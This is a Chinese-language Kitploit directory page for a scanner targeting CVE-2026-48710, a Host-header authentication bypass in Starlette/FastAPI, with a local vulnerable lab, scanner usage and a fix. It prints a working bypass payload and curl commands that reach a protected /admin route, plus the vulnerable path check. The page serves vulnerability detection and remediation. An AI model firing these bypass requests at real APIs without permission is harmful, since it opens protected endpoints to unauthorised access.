Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
BadHost-CVE-2026-48710-Exploit — 用于CVE-2026-48710的检测扫描器 - Starlette/FastAPI中的Host头部认证绕过 | Kitploit
工具/GitHubGitHub/bhanunamikaze/badhost-cve-2026-48710-exploit
身份验证与授权漏洞扫描器漏洞利用Web应用程序漏洞利用API安全测试渗透测试实验室与实践
GitHubbhanunamikaze/badhost-cve-2026-48710-exploit

BadHost-CVE-2026-48710-Exploit

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

用于CVE-2026-48710的检测扫描器 - Starlette/FastAPI中的Host头部认证绕过

查看仓库
153个月前尚未审核

BadHost — CVE-2026-48710 扫描器

仅用于检测 Starlette / FastAPI 中 BadHost 认证绕过漏洞的扫描器 —— 认证中间件读取 request.url.path 而非 request.scope["path"],使得精心构造的 Host 标头能够走私一个列入白名单的路径,从而绕过认证。

root@kitploit:~
GET /admin HTTP/1.1
Host: api.internal/health?__badhost=
# Starlette sees request.url.path == "/health" → allowed
# ASGI still routes to /admin → bypassed

影响范围: Starlette ≤ 0.46.1 / FastAPI ≤ 0.115.x
修复版本: Starlette 0.46.2+


功能

  • 传入完整 URL(https://host/path)—— 自动提取路径作为探测目标
  • 从 FastAPI/OpenAPI JSON 或 YAML 规范(文件或 URL)加载端点
  • 自动发现无需认证的路径,用作注入候选
  • 测试 Host 和 X-Forwarded-Host 两种载体,两种载荷策略
  • 内置 AI/LLM(--preset ai)和 MCP(--preset mcp)端点预设
  • 输出:文本摘要、--json、--csv
  • 实时扫描进度输出到 stderr;零第三方依赖

本地漏洞实验室(badhost_vuln_lab/)

附带两个 FastAPI 应用用于本地验证:

应用URL认证读取方式
易受攻击http://127.0.0.1:8000request.url.path — 绕过
已修复http://127.0.0.1:8001request.scope["path"] — 安全
root@kitploit:~
cd badhost_vuln_lab
docker compose up --build

或无需 Docker:

root@kitploit:~
pip install -r badhost_vuln_lab/requirements.txt
uvicorn badhost_vuln_lab.app_vulnerable:app --host 127.0.0.1 --port 8000
uvicorn badhost_vuln_lab.app_fixed:app --host 127.0.0.1 --port 8001

手动绕过测试

root@kitploit:~
curl -i http://127.0.0.1:8000/admin                               # 403
curl -i -H "Host: 127.0.0.1:8000/health?x=" http://127.0.0.1:8000/admin  # 200 — bypassed
curl -i -H "Host: 127.0.0.1:8001/health?x=" http://127.0.0.1:8001/admin  # 403 — fixed

安装

root@kitploit:~
git clone https://github.com/Bhanunamikaze/BadHost-CVE-2026-48710-Exploit.git
cd BadHost-CVE-2026-48710-Exploit
python badhost_openapi_scanner.py --help   # Python 3.9+, no pip install needed

用法

root@kitploit:~
# Single full URL — path extracted automatically, no extra flags needed
python badhost_openapi_scanner.py https://api.internal/checkout/ai-builder

# Multiple full URLs
python badhost_openapi_scanner.py https://api.internal/admin https://api.internal/api/users

# Add extra paths on top of a full URL
python badhost_openapi_scanner.py https://api.internal/checkout \
  --protected POST:/api/checkout --protected GET:/api/cart

# Read-only scan from local openapi.json
python badhost_openapi_scanner.py http://api.internal:8000 --openapi ./openapi.json

# Include write methods (staging/authorized only)
python badhost_openapi_scanner.py http://api.internal:8000 \
  --openapi ./openapi.json --openapi-methods all \
  --unsafe-allow-write --openapi-body-mode invalid

# Fetch OpenAPI directly from the target
python badhost_openapi_scanner.py http://api.internal:8000 \
  --openapi http://api.internal:8000/openapi.json

# Multiple targets, CSV output
python badhost_openapi_scanner.py --targets-file targets.txt \
  --openapi ./openapi.json --csv > results.csv

# AI/LLM + MCP preset paths (no OpenAPI needed)
python badhost_openapi_scanner.py http://api.internal:8000 --preset all

--openapi-body-mode invalid 发送 {} 用于写方法 —— 在认证绕过后触发 FastAPI 422,而不执行端点。baseline=403 test=422 结果仍然是 SUSPECT 发现,值得进一步调查。
不要在生产环境中使用 --openapi-body-mode minimal —— 它会构造可能执行写端点的有效请求体。


判定结果

输出中仅显示 CONFIRMED 和 SUSPECT。退出码 2 = CONFIRMED,1 = SUSPECT,0 = 无漏洞。


修复措施

root@kitploit:~
# Vulnerable
if request.url.path.startswith("/public"):
    ...

# Fixed
if request.scope["path"].startswith("/public"):
    ...

升级至 Starlette 0.46.2+ / FastAPI 0.116.0+。


仅限授权测试。仅扫描您拥有或已获得明确许可的系统。

下载工具
判定结果含义
CONFIRMED基线 401/403 → 测试 2xx。存在漏洞。
SUSPECT基线 401/403 → 测试 404/405/422。认证门控似乎被绕过;请手动验证。FastAPI 的 422 特别有意义。
REJECTED代理在绕过前拒绝了格式错误的 Host(400/421)
BLOCKED构造的请求仍然被拒绝
OPEN无需认证即可访问 —— 不涉及此 CVE